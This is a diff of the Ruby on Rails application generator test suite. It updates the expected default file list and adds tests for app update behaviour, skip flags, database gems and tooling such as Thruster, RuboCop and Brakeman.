+  bin/docker-entrypoint
   bin/rails
   bin/rake
+  bin/rubocop
   bin/setup
-  config/environments
-  config/initializers
-  config/locales
+  bin/thrust
+  config.ru
+  config/application.rb
+  config/boot.rb
+  config/bundler-audit.yml
   config/cable.yml
+  config/ci.rb
+  config/credentials.yml.enc
+  config/database.yml
+  config/environment.rb
+  config/environments/development.rb
+  config/environments/production.rb
+  config/environments/test.rb
+  config/initializers/assets.rb
+  config/initializers/content_security_policy.rb
+  config/initializers/filter_parameter_logging.rb
+  config/initializers/inflections.rb
+  config/locales/en.yml
+  config/master.key
   config/puma.rb
-  config/spring.rb
-  db
-  lib
-  lib/tasks
-  lib/assets
-  log
+  config/routes.rb
+  config/storage.yml
+  db/seeds.rb
+  lib/tasks/.keep
+  log/.keep
+  public/400.html
+  public/404.html
+  public/406-unsupported-browser.html
+  public/422.html
+  public/500.html
+  public/icon.png
+  public/icon.svg
+  public/robots.txt
+  script/.keep
+  storage/.keep
+  test/controllers/.keep
+  test/fixtures/files/.keep
+  test/helpers/.keep
+  test/integration/.keep
+  test/mailers/.keep
+  test/models/.keep
   test/test_helper.rb
-  test/fixtures
-  test/fixtures/files
-  test/controllers
-  test/models
-  test/helpers
-  test/mailers
-  test/integration
-  vendor
-  tmp
-  tmp/cache
-  tmp/cache/assets
+  tmp/.keep
+  tmp/pids/.keep
+  tmp/storage/.keep
+  vendor/.keep
 )
 
 class AppGeneratorTest < Rails::Generators::TestCase
@@ -59,18 +99,23 @@ def default_files
     ::DEFAULT_APP_FILES
   end
 
-  def test_assets
-    run_generator
+  def test_skip_bundle
+    generator([destination_root], skip_bundle: true)
+    run_generator_instance
 
-    assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track': 'reload'/)
-    assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track': 'reload'/)
-    assert_file("app/assets/stylesheets/application.css")
-    assert_file("app/assets/javascripts/application.js")
+    assert_empty @bundle_commands
+    # skip_bundle is only about running bundle install so ensure the Gemfile is still generated
+    assert_file "Gemfile"
   end
 
-  def test_application_job_file_present
-    run_generator
-    assert_file("app/jobs/application_job.rb")
+  def test_invalid_javascript_option_raises_an_error
+    content = capture(:stderr) { run_generator([destination_root, "-j", "unknown"]) }
+    assert_match(/Expected '--javascript' to be one of/, content)
+  end
+
+  def test_invalid_css_option_raises_an_error
+    content = capture(:stderr) { run_generator([destination_root, "-c", "unknown"]) }
+    assert_match(/Expected '--css' to be one of/, content)
   end
 
   def test_invalid_application_name_raises_an_error
@@ -85,26 +130,24 @@ def test_invalid_application_name_is_fixed
   end
 
   def test_application_new_exits_with_non_zero_code_on_invalid_application_name
-    quietly { system "rails new test --no-rc" }
+    quietly { system "#{File.expand_path("../../exe/rails", __dir__)} new test --no-rc" }
     assert_equal false, $?.success?
   end
 
   def test_application_new_exits_with_message_and_non_zero_code_when_generating_inside_existing_rails_directory
-    app_root = File.join(destination_root, "myfirstapp")
-    run_generator [app_root]
+    run_generator
     output = nil
-    Dir.chdir(app_root) do
-      output = `rails new mysecondapp`
+    Dir.chdir(destination_root) do
+      output = `#{File.expand_path("../../exe/rails", __dir__)} new mysecondapp`
     end
     assert_equal "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\nType 'rails' for help.\n", output
     assert_equal false, $?.success?
   end
 
   def test_application_new_show_help_message_inside_existing_rails_directory
-    app_root = File.join(destination_root, "myfirstapp")
-    run_generator [app_root]
-    output = Dir.chdir(app_root) do
-      `rails new --help`
+    run_generator
+    output = Dir.chdir(destination_root) do
+      `#{File.expand_path("../../exe/rails", __dir__)} new --help`
     end
     assert_match(/rails new APP_PATH \[options\]/, output)
     assert_equal true, $?.success?
@@ -115,402 +158,441 @@ def test_application_name_is_detected_if_it_exists_and_app_folder_renamed
     app_moved_root = File.join(destination_root, "myapp_moved")
 
     run_generator [app_root]
+    FileUtils.mv(app_root, app_moved_root)
+    run_app_update(app_moved_root)
+
+    assert_file "#{app_moved_root}/config/environment.rb", /Rails\.application\.initialize!/
+  end
+
+  def test_app_update
+    run_generator
+
+    defaults_path = "config/initializers/new_framework_defaults_#{Rails::VERSION::MAJOR}_#{Rails::VERSION::MINOR}.rb"
+
+    assert_no_file defaults_path
+    assert_no_file "config/initializers/cors.rb"
 
-    stub_rails_application(app_moved_root) do
-      Rails.application.stub(:is_a?, -> *args { Rails::Application }) do
-        FileUtils.mv(app_root, app_moved_root)
+    run_app_update
 
-        # make sure we are in correct dir
-        FileUtils.cd(app_moved_root)
+    assert_file defaults_path
+    assert_no_file "config/initializers/cors.rb"
+  end
 
-        generator = Rails::Generators::AppGenerator.new ["rails"], [],
-                                                                   destination_root: app_moved_root, shell: @shell
-        generator.send(:app_const)
-        quietly { generator.send(:update_config_files) }
-        assert_file "myapp_moved/config/environment.rb", /Rails\.application\.initialize!/
+  def test_app_update_supports_skip
+    run_generator
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      File.open(config, "a") do |file|
+        file.puts "# some configuration"
+      end
+      assert_no_changes -> { File.readlines(config) } do
+        run_app_update(flags: "--skip")
       end
     end
   end
 
-  def test_rails_update_generates_correct_session_key
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
-
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
+  def test_app_update_supports_pretend
+    run_generator
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      File.open(config, "a") do |file|
+        file.puts "# some configuration"
+      end
+      assert_no_changes -> { File.readlines(config) } do
+        run_app_update(flags: "--pretend --force")
+      end
+      defaults_path = "config/initializers/new_framework_defaults_#{Rails::VERSION::MAJOR}_#{Rails::VERSION::MINOR}.rb"
+      assert_no_file defaults_path
     end
   end
 
-  def test_new_application_use_json_serialzier
+  def test_app_update_does_not_remove_rack_cors_if_already_present
     run_generator
+    FileUtils.touch("#{destination_root}/config/initializers/cors.rb")
+    run_app_update
 
-    assert_file("config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
+    assert_file "config/initializers/cors.rb"
   end
 
-  def test_new_application_not_include_api_initializers
+  def test_app_update_generates_public_folders
     run_generator
 
-    assert_no_file "config/initializers/cors.rb"
+    FileUtils.rm_rf("#{destination_root}/public/406-unsupported-browser.html")
+
+    run_app_update
+
+    assert_file "public/406-unsupported-browser.html"
   end
 
-  def test_rails_update_keep_the_cookie_serializer_if_it_is_already_configured
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
+  def test_app_update_does_not_generate_assets_initializer_when_asset_pipeline_is_not_used
+    run_generator [destination_root, "--skip-asset-pipeline"]
+    run_app_update
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
-      assert_file("#{app_root}/config/initializers/cookies_serializer.rb", /Rails\.application\.config\.action_dispatch\.cookies_serializer = :json/)
-    end
+    assert_no_file "config/initializers/assets.rb"
   end
 
-  def test_rails_update_set_the_cookie_serializer_to_marshal_if_it_is_not_already_configured
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
+  def test_app_update_does_not_generate_action_cable_contents_when_skip_action_cable_is_given
+    run_generator [destination_root, "--skip-action-cable"]
+    run_app_update
+
+    assert_no_file "config/cable.yml"
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.action_cable/, content)
+    end
+    assert_file "config/database.yml" do |content|
+      assert_no_match(/cable:/, content)
+    end
+  end
 
-    FileUtils.rm("#{app_root}/config/initializers/cookies_serializer.rb")
+  def test_app_update_does_not_generate_bootsnap_contents_when_skip_bootsnap_is_given
+    run_generator [destination_root, "--skip-bootsnap"]
+    run_app_update
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
-      assert_file("#{app_root}/config/initializers/cookies_serializer.rb",
-                  /Valid options are :json, :marshal, and :hybrid\.\nRails\.application\.config\.action_dispatch\.cookies_serializer = :marshal/)
+    assert_file "config/boot.rb" do |content|
+      assert_no_match(/require "bootsnap\/setup"/, content)
     end
   end
 
-  def test_rails_update_dont_set_file_watcher
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
+  def test_app_update_preserves_skip_active_job
+    run_generator [ destination_root, "--skip-active-job" ]
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
-      assert_file "#{app_root}/config/environments/development.rb" do |content|
-        assert_match(/# config.file_watcher/, content)
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      assert_no_changes -> { File.readlines(config).grep(/require /) } do
+        run_app_update
       end
     end
   end
 
-  def test_rails_update_does_not_create_new_framework_defaults_by_default
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
+  def test_app_update_preserves_skip_action_mailbox
+    run_generator [ destination_root, "--skip-action-mailbox" ]
 
-    FileUtils.rm("#{app_root}/config/initializers/new_framework_defaults.rb")
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      assert_no_changes -> { File.readlines(config).grep(/require /) } do
+        run_app_update
+      end
+    end
+  end
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], { update: true }, destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
+  def test_app_update_preserves_skip_action_text
+    run_generator [ destination_root, "--skip-action-text" ]
 
-      assert_file "#{app_root}/config/initializers/new_framework_defaults.rb" do |content|
-        assert_match(/Rails\.application\.config.active_record\.belongs_to_required_by_default = false/, content)
-        assert_no_match(/Rails\.application\.config\.ssl_options/, content)
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      assert_no_changes -> { File.readlines(config).grep(/require /) } do
+        run_app_update
       end
     end
   end
 
-  def test_rails_update_does_not_create_rack_cors
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
+  def test_app_update_preserves_skip_brakeman
+    run_generator [ destination_root, "--skip-brakeman" ]
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
-      assert_no_file "#{app_root}/config/initializers/cors.rb"
+    FileUtils.cd(destination_root) do
+      assert_no_changes -> { File.exist?("bin/brakeman") } do
+        run_app_update
+      end
     end
   end
 
-  def test_rails_update_does_not_remove_rack_cors_if_already_present
-    app_root = File.join(destination_root, "myapp")
-    run_generator [app_root]
-
-    FileUtils.touch("#{app_root}/config/initializers/cors.rb")
+  def test_app_update_preserves_skip_bundler_audit
+    run_generator [ destination_root, "--skip-bundler-audit" ]
 
-    stub_rails_application(app_root) do
-      generator = Rails::Generators::AppGenerator.new ["rails"], [], destination_root: app_root, shell: @shell
-      generator.send(:app_const)
-      quietly { generator.send(:update_config_files) }
-      assert_file "#{app_root}/config/initializers/cors.rb"
+    FileUtils.cd(destination_root) do
+      assert_no_changes -> { File.exist?("bin/bundler-audit") } do
+        run_app_update
+      end
     end
   end
 
-  def test_application_names_are_not_singularized
-    run_generator [File.join(destination_root, "hats")]
-    assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
-  end
+  def test_app_update_preserves_skip_rubocop
+    run_generator [ destination_root, "--skip-rubocop" ]
 
-  def test_gemfile_has_no_whitespace_errors
-    run_generator
-    absolute = File.expand_path("Gemfile", destination_root)
-    File.open(absolute, "r") do |f|
-      f.each_line do |line|
-        assert_no_match %r{/^[ \t]+$/}, line
+    FileUtils.cd(destination_root) do
+      assert_no_changes -> { File.exist?("bin/rubocop") } do
+        run_app_update
       end
     end
   end
 
-  def test_config_database_is_added_by_default
-    run_generator
-    assert_file "config/database.yml", /sqlite3/
-    if defined?(JRUBY_VERSION)
-      assert_gem "activerecord-jdbcsqlite3-adapter"
-    else
-      assert_gem "sqlite3"
+  def test_app_update_preserves_skip_thruster
+    run_generator [ destination_root, "--skip-thruster" ]
+
+    FileUtils.cd(destination_root) do
+      assert_no_changes -> { File.exist?("bin/thrust") } do
+        run_app_update
+      end
     end
   end
 
-  def test_config_another_database
-    run_generator([destination_root, "-d", "mysql"])
-    assert_file "config/database.yml", /mysql/
-    if defined?(JRUBY_VERSION)
-      assert_gem "activerecord-jdbcmysql-adapter"
-    else
-      assert_gem "mysql2", "'>= 0.3.18', '< 0.5'"
+  def test_app_update_preserves_skip_test
+    run_generator [ destination_root, "--skip-test" ]
+
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      assert_no_changes -> { File.readlines(config).grep(/require /) } do
+        run_app_update
+      end
     end
   end
 
-  def test_config_database_app_name_with_period
-    run_generator [File.join(destination_root, "common.usage.com"), "-d", "postgresql"]
-    assert_file "common.usage.com/config/database.yml", /common_usage_com/
-  end
+  def test_app_update_preserves_skip_system_test
+    run_generator [ destination_root, "--skip-system-test" ]
 
-  def test_config_postgresql_database
-    run_generator([destination_root, "-d", "postgresql"])
-    assert_file "config/database.yml", /postgresql/
-    if defined?(JRUBY_VERSION)
-      assert_gem "activerecord-jdbcpostgresql-adapter"
-    else
-      assert_gem "pg", "'~> 0.18'"
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      assert_file config, /generators\.system_tests/
+      assert_no_changes -> { File.readlines(config).grep(/generators\.system_tests/) } do
+        run_app_update
+      end
     end
   end
 
-  def test_config_jdbcmysql_database
-    run_generator([destination_root, "-d", "jdbcmysql"])
-    assert_file "config/database.yml", /mysql/
-    assert_gem "activerecord-jdbcmysql-adapter"
-  end
+  def test_app_update_does_not_generate_active_storage_contents_when_skip_active_storage_is_given
+    run_generator [destination_root, "--skip-active-storage"]
 
-  def test_config_jdbcsqlite3_database
-    run_generator([destination_root, "-d", "jdbcsqlite3"])
-    assert_file "config/database.yml", /sqlite3/
-    assert_gem "activerecord-jdbcsqlite3-adapter"
-  end
+    run_app_update
 
-  def test_config_jdbcpostgresql_database
-    run_generator([destination_root, "-d", "jdbcpostgresql"])
-    assert_file "config/database.yml", /postgresql/
-    assert_gem "activerecord-jdbcpostgresql-adapter"
-  end
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
 
-  def test_config_jdbc_database
-    run_generator([destination_root, "-d", "jdbc"])
-    assert_file "config/database.yml", /jdbc/
-    assert_file "config/database.yml", /mssql/
-    assert_gem "activerecord-jdbc-adapter"
-  end
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
+    end
 
-  if defined?(JRUBY_VERSION)
-    def test_config_jdbc_database_when_no_option_given
-      run_generator
-      assert_file "config/database.yml", /sqlite3/
-      assert_gem "activerecord-jdbcsqlite3-adapter"
+    assert_file "config/environments/test.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
     end
+
+    assert_no_file "config/storage.yml"
   end
 
-  def test_generator_without_skips
-    run_generator
-    assert_file "config/application.rb", /\s+require\s+["']rails\/all["']/
+  def test_app_update_does_not_generate_active_storage_contents_when_skip_active_record_is_given
+    run_generator [destination_root, "--skip-active-record"]
+    run_app_update
+
     assert_file "config/environments/development.rb" do |content|
-      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+      assert_no_match(/config\.active_storage/, content)
+    end
+
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.active_storage/, content)
     end
+
     assert_file "config/environments/test.rb" do |content|
-      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+      assert_no_match(/config\.active_storage/, content)
     end
-    assert_file "config/environments/production.rb" do |content|
-      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+
+    assert_no_file "config/storage.yml"
+  end
+
+  def test_app_update_silence_deprecate_message
+    run_generator
+
+    FileUtils.cd(destination_root) do
+      File.open("config/initializers/deprecation.rb", "a") do |file|
+        file.puts "Rails.deprecator.warn('test deprecation message')"
+      end
+
+      stderr = capture(:stderr) { run_app_update }
+      assert_no_match(/test deprecation message/, stderr)
     end
   end
 
-  def test_generator_defaults_to_puma_version
-    run_generator [destination_root]
-    assert_gem "puma", "'~> 3.0'"
+  def test_generator_skips_action_mailbox_when_skip_action_mailbox_is_given
+    run_generator [destination_root, "--skip-action-mailbox"]
+    assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_mailbox\/engine["']/
   end
 
-  def test_generator_if_skip_puma_is_given
-    run_generator [destination_root, "--skip-puma"]
-    assert_no_file "config/puma.rb"
-    assert_file "Gemfile" do |content|
-      assert_no_match(/puma/, content)
-    end
+  def test_generator_skips_action_text_when_skip_action_text_is_given
+    run_generator [destination_root, "--skip-action-text"]
+    assert_file "#{application_path}/config/application.rb", /#\s+require\s+["']action_text\/engine["']/
   end
 
-  def test_generator_if_skip_active_record_is_given
-    run_generator [destination_root, "--skip-active-record"]
-    assert_no_directory "db/"
-    assert_no_file "config/database.yml"
-    assert_no_file "app/models/application_record.rb"
-    assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
-    assert_file "test/test_helper.rb" do |helper_content|
-      assert_no_match(/fixtures :all/, helper_content)
-    end
-    assert_file "bin/setup" do |setup_content|
-      assert_no_match(/db:setup/, setup_content)
-    end
-    assert_file "bin/update" do |update_content|
-      assert_no_match(/db:migrate/, update_content)
-    end
+  def test_app_update_does_not_change_config_target_version
+    run_generator
 
-    assert_file "config/initializers/new_framework_defaults.rb" do |initializer_content|
-      assert_no_match(/belongs_to_required_by_default/, initializer_content)
+    FileUtils.cd(destination_root) do
+      config = "config/application.rb"
+      content = File.read(config)
+      File.write(config, content.gsub(/config\.load_defaults #{Rails::VERSION::STRING.to_f}/, "config.load_defaults 5.1"))
     end
+
+    run_app_update
+
+    assert_file "config/application.rb", /\s+config\.load_defaults 5\.1/
   end
 
-  def test_generator_if_skip_action_mailer_is_given
-    run_generator [destination_root, "--skip-action-mailer"]
-    assert_file "config/application.rb", /#\s+require\s+["']action_mailer\/railtie["']/
-    assert_file "config/environments/development.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
+  def test_app_update_does_not_change_app_name_when_app_name_is_hyphenated_name
+    app_root = File.join(destination_root, "hyphenated-app")
+    run_generator [app_root, "-d", "postgresql"]
+
+    assert_file "#{app_root}/config/database.yml" do |content|
+      assert_match(/hyphenated_app_development/, content)
+      assert_no_match(/hyphenated-app_development/, content)
     end
-    assert_file "config/environments/test.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
+
+    assert_file "#{app_root}/config/cable.yml" do |content|
+      assert_match(/hyphenated_app/, content)
+      assert_no_match(/hyphenated-app/, content)
     end
-    assert_file "config/environments/production.rb" do |content|
-      assert_no_match(/config\.action_mailer/, content)
+
+    run_app_update(app_root)
+
+    assert_file "#{app_root}/config/cable.yml" do |content|
+      assert_match(/hyphenated_app/, content)
+      assert_no_match(/hyphenated-app/, content)
     end
-    assert_no_directory "app/mailers"
-    assert_no_directory "test/mailers"
   end
 
-  def test_generator_has_assets_gems
-    run_generator
+  def test_application_names_are_not_singularized
+    run_generator [File.join(destination_root, "hats")]
+    assert_file "hats/config/environment.rb", /Rails\.application\.initialize!/
+  end
 
-    assert_gem "sass-rails"
-    assert_gem "uglifier"
+  def test_application_name_is_normalized_in_config
+    run_generator [File.join(destination_root, "MyWebSite"), "-d", "postgresql"]
+    assert_file "MyWebSite/app/views/layouts/application.html.erb", /content_for\(:title\) \|\| "My Web Site"/
+    assert_file "MyWebSite/app/views/layouts/application.html.erb", /meta\sname="application-name"\scontent="My Web Site/
+    assert_file "MyWebSite/config/database.yml", /my_web_site_production/
   end
 
-  def test_generator_if_skip_sprockets_is_given
-    run_generator [destination_root, "--skip-sprockets"]
-    assert_no_file "config/initializers/assets.rb"
-    assert_file "config/application.rb" do |content|
-      assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
-    end
-    assert_file "Gemfile" do |content|
-      assert_no_match(/sass-rails/, content)
-      assert_no_match(/uglifier/, content)
-      assert_no_match(/coffee-rails/, content)
-    end
-    assert_file "config/environments/development.rb" do |content|
-      assert_no_match(/config\.assets\.debug = true/, content)
-    end
-    assert_file "config/environments/production.rb" do |content|
-      assert_no_match(/config\.assets\.digest = true/, content)
-      assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
-      assert_no_match(/config\.assets\.css_compressor = :sass/, content)
-    end
-    assert_file "config/initializers/new_framework_defaults.rb" do |content|
-      assert_no_match(/unknown_asset_fallback/, content)
+  def test_gemfile_has_no_whitespace_errors
+    run_generator
+    absolute = File.expand_path("Gemfile", destination_root)
+    File.open(absolute, "r") do |f|
+      f.each_line do |line|
+        assert_no_match %r{/^[ \t]+$/}, line
+      end
     end
   end
 
-  def test_generator_if_skip_yarn_is_given
-    run_generator [destination_root, "--skip-yarn"]
+  def test_config_database_is_added_by_default
+    run_generator
+    assert_file "config/database.yml", /sqlite3/
+    assert_gem "sqlite3", '">= 2.1"'
+  end
 
-    assert_no_file "vendor/package.json"
-    assert_no_file "bin/yarn"
+  def test_config_mysql_database
+    run_generator([destination_root, "-d", "mysql"])
+    assert_file "config/database.yml", /mysql/
+    assert_gem "mysql2", '"~> 0.5"'
   end
 
-  def test_generator_if_skip_action_cable_is_given
-    run_generator [destination_root, "--skip-action-cable"]
-    assert_file "config/application.rb", /#\s+require\s+["']action_cable\/engine["']/
-    assert_no_file "config/cable.yml"
-    assert_no_file "app/assets/javascripts/cable.js"
-    assert_no_file "app/channels"
-    assert_file "Gemfile" do |content|
-      assert_no_match(/redis/, content)
-    end
+  def test_config_database_app_name_with_period
+    run_generator [File.join(destination_root, "common.usage.com"), "-d", "postgresql"]
+    assert_file "common.usage.com/config/database.yml", /common_usage_com/
+  end
+
+  def test_config_postgresql_database
+    run_generator([destination_root, "-d", "postgresql"])
+    assert_file "config/database.yml", /postgresql/
+    assert_gem "pg", '"~> 1.1"'
+  end
+
+  def test_generator_defaults_to_puma_version
+    run_generator [destination_root]
+    assert_gem "puma", '">= 7.1"'
   end
 
   def test_action_cable_redis_gems
-    run_generator
-    assert_file "Gemfile", /^# gem 'redis'/
+    run_generator [destination_root, "--skip-solid"]
+    assert_file "Gemfile", /^# gem "redis"/
   end
 
-  def test_inclusion_of_javascript_runtime
+  def test_generator_configures_decrypted_diffs_by_default
     run_generator
-    if defined?(JRUBY_VERSION)
-      assert_gem "therubyrhino"
-    else
-      assert_file "Gemfile", /# gem 'therubyracer', platforms: :ruby/
+    assert_file ".gitattributes", /\.enc diff=/
+  end
+
+  def test_generator_does_not_configure_decrypted_diffs_when_skip_decrypted_diffs_is_given
+    run_generator [destination_root, "--skip-decrypted-diffs"]
+    assert_file ".gitattributes" do |content|
+      assert_no_match %r/\.enc diff=/, content
     end
   end
 
-  def test_rails_ujs_is_the_default_ujs_library
-    run_generator
-    assert_file "app/assets/javascripts/application.js" do |contents|
-      assert_match %r{^//= require rails-ujs}, contents
+  def test_generator_if_skip_test_is_given
+    run_generator [destination_root, "--skip-test"]
+
+    assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+
+    assert_no_gem "capybara"
+    assert_no_gem "selenium-webdriver"
+
+    assert_no_directory("test")
+
+    assert_file ".github/workflows/ci.yml" do |file|
+      assert_no_match(/test:.\s*runs-on/m, file)
     end
   end
 
-  def test_inclusion_of_javascript_libraries_if_required
-    run_generator [destination_root, "-j", "jquery"]
-    assert_file "app/assets/javascripts/application.js" do |contents|
-      assert_match %r{^//= require jquery}, contents
+  def test_generator_if_skip_jbuilder_is_given
+    run_generator [destination_root, "--skip-jbuilder"]
+    assert_no_gem "jbuilder"
+  end
+
+  def test_generator_if_skip_active_job_is_given
+    run_generator [destination_root, "--skip-active-job"]
+    assert_no_file "app/jobs/application_job.rb"
+    assert_file "config/environments/production.rb" do |content|
+      assert_no_match(/config\.active_job/, content)
+    end
+    assert_file "config/application.rb" do |content|
+      assert_match(/#\s+require\s+["']active_job\/railtie["']/, content)
+      assert_match(/#\s+require\s+["']active_storage\/engine["']/, content)
+      assert_match(/#\s+require\s+["']action_mailer\/railtie["']/, content)
     end
-    assert_gem "jquery-rails"
   end
 
-  def test_javascript_is_skipped_if_required
-    run_generator [destination_root, "--skip-javascript"]
+  def test_generator_if_skip_system_test_is_given
+    run_generator [destination_root, "--skip-system-test"]
+    assert_no_gem "capybara"
+    assert_no_gem "selenium-webdriver"
 
-    assert_no_file "app/assets/javascripts"
+    assert_directory("test")
 
-    assert_file "app/views/layouts/application.html.erb" do |contents|
-      assert_match(/stylesheet_link_tag\s+'application', media: 'all' %>/, contents)
-      assert_no_match(/javascript_include_tag\s+'application' \%>/, contents)
-    end
+    assert_no_directory("test/system")
 
-    assert_file "Gemfile" do |content|
-      assert_no_match(/coffee-rails/, content)
-      assert_no_match(/uglifier/, content)
+    assert_file ".github/workflows/ci.yml" do |content|
+      assert_match(/db:test:prepare test/, content)
+      assert_no_match(/test:system/, content)
+      assert_no_match(/screenshots/, content)
     end
+  end
 
-    assert_file "config/environments/production.rb" do |content|
-      assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
+  def test_does_not_generate_system_test_files_if_skip_system_test_is_given
+    run_generator [destination_root, "--skip-system-test"]
+
+    Dir.chdir(destination_root) do
+      quietly { `./bin/rails g scaffold User` }
+
+      assert_no_file("test/application_system_test_case.rb")
+      assert_no_file("test/system/users_test.rb")
     end
   end
 
-  def test_coffeescript_is_skipped_if_required
-    run_generator [destination_root, "--skip-coffee"]
+  def test_viewport_meta_tag_is_present
+    run_generator [destination_root]
 
-    assert_file "Gemfile" do |content|
-      assert_no_match(/coffee-rails/, content)
-      assert_match(/uglifier/, content)
+    assert_file "app/views/layouts/application.html.erb" do |contents|
+      assert_match(/<meta name="viewport"/, contents)
     end
   end
 
-  def test_generator_for_yarn
-    run_generator([destination_root])
-    assert_file "vendor/package.json", /dependencies/
-    assert_file "config/initializers/assets.rb", /node_modules/
-  end
+  def test_javascript_is_skipped_if_required
+    run_generator [destination_root, "--skip-javascript"]
 
-  def test_generator_for_yarn_skipped
-    run_generator([destination_root, "--skip-yarn"])
-    assert_no_file "vendor/package.json"
+    assert_no_file "app/javascript"
 
-    assert_file "config/initializers/assets.rb" do |content|
-      assert_no_match(/node_modules/, content)
+    assert_file "app/views/layouts/application.html.erb" do |contents|
+      assert_match(/stylesheet_link_tag\s+:app %>/, contents)
     end
 
-    assert_file ".gitignore" do |content|
-      assert_no_match(/vendor\/node_modules/, content)
-      assert_no_match(/vendor\/yarn-error\.log/, content)
+    assert_file ".github/workflows/ci.yml" do |file|
+      assert_no_match("scan_js", file)
     end
   end
 
@@ -521,218 +603,634 @@ def test_inclusion_of_jbuilder
 
   def test_inclusion_of_a_debugger
     run_generator
-    if defined?(JRUBY_VERSION) || RUBY_ENGINE == "rbx"
-      assert_file "Gemfile" do |content|
-        assert_no_match(/byebug/, content)
-      end
+    if defined?(JRUBY_VERSION)
+      assert_no_gem "debug"
     else
-      assert_gem "byebug"
+      assert_gem "debug"
     end
   end
 
-  def test_inclusion_of_listen_related_configuration_by_default
+  def test_inclusion_of_thruster
     run_generator
-    if RbConfig::CONFIG["host_os"] =~ /darwin|linux/
-      assert_listen_related_configuration
-    else
-      assert_no_listen_related_configuration
-    end
+    assert_gem "thruster"
   end
 
-  def test_non_inclusion_of_listen_related_configuration_if_skip_listen
-    run_generator [destination_root, "--skip-listen"]
-    assert_no_listen_related_configuration
+  def test_thruster_is_skipped_if_required
+    run_generator [destination_root, "--skip-thruster"]
+
+    assert_no_gem "thruster"
+    assert_no_file "bin/thrust"
   end
 
-  def test_evented_file_update_checker_config
+  def test_inclusion_of_rubocop
     run_generator
-    assert_file "config/environments/development.rb" do |content|
-      if RbConfig::CONFIG["host_os"] =~ /darwin|linux/
-        assert_match(/^\s*config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
-      else
-        assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, content)
-      end
-    end
+    assert_gem "rubocop-rails-omakase"
+    assert_file "config/environments/development.rb", %r|# Apply autocorrection by RuboCop to files generated by `bin/rails generate`\.|
   end
 
-  def test_template_from_dir_pwd
-    FileUtils.cd(Rails.root)
-    assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+  def test_quiet_assets_in_development
+    run_generator
+    assert_file "config/environments/development.rb", /config\.assets\.quiet = true/
   end
 
-  def test_usage_read_from_file
-    assert_called(File, :read, returns: "USAGE FROM FILE") do
-      assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc
-    end
-  end
+  def test_rubocop_is_skipped_if_required
+    run_generator [destination_root, "--skip-rubocop"]
 
-  def test_default_usage
-    assert_called(Rails::Generators::AppGenerator, :usage_path, returns: nil) do
-      assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
+    assert_no_gem "rubocop-rails-omakase"
+    assert_no_file "bin/rubocop"
+    assert_no_file ".rubocop.yml"
+    assert_file "config/environments/development.rb" do |content|
+      assert_no_match(%r|# Apply autocorrection by RuboCop to files generated by `bin/rails generate`\.|, content)
     end
   end
 
-  def test_default_namespace
-    assert_match "rails:app", Rails::Generators::AppGenerator.namespace
+  def test_inclusion_of_brakeman
+    run_generator
+    assert_gem "brakeman"
   end
 
-  def test_file_is_added_for_backwards_compatibility
-    action :file, "lib/test_file.rb", "heres test data"
-    assert_file "lib/test_file.rb", "heres test data"
-  end
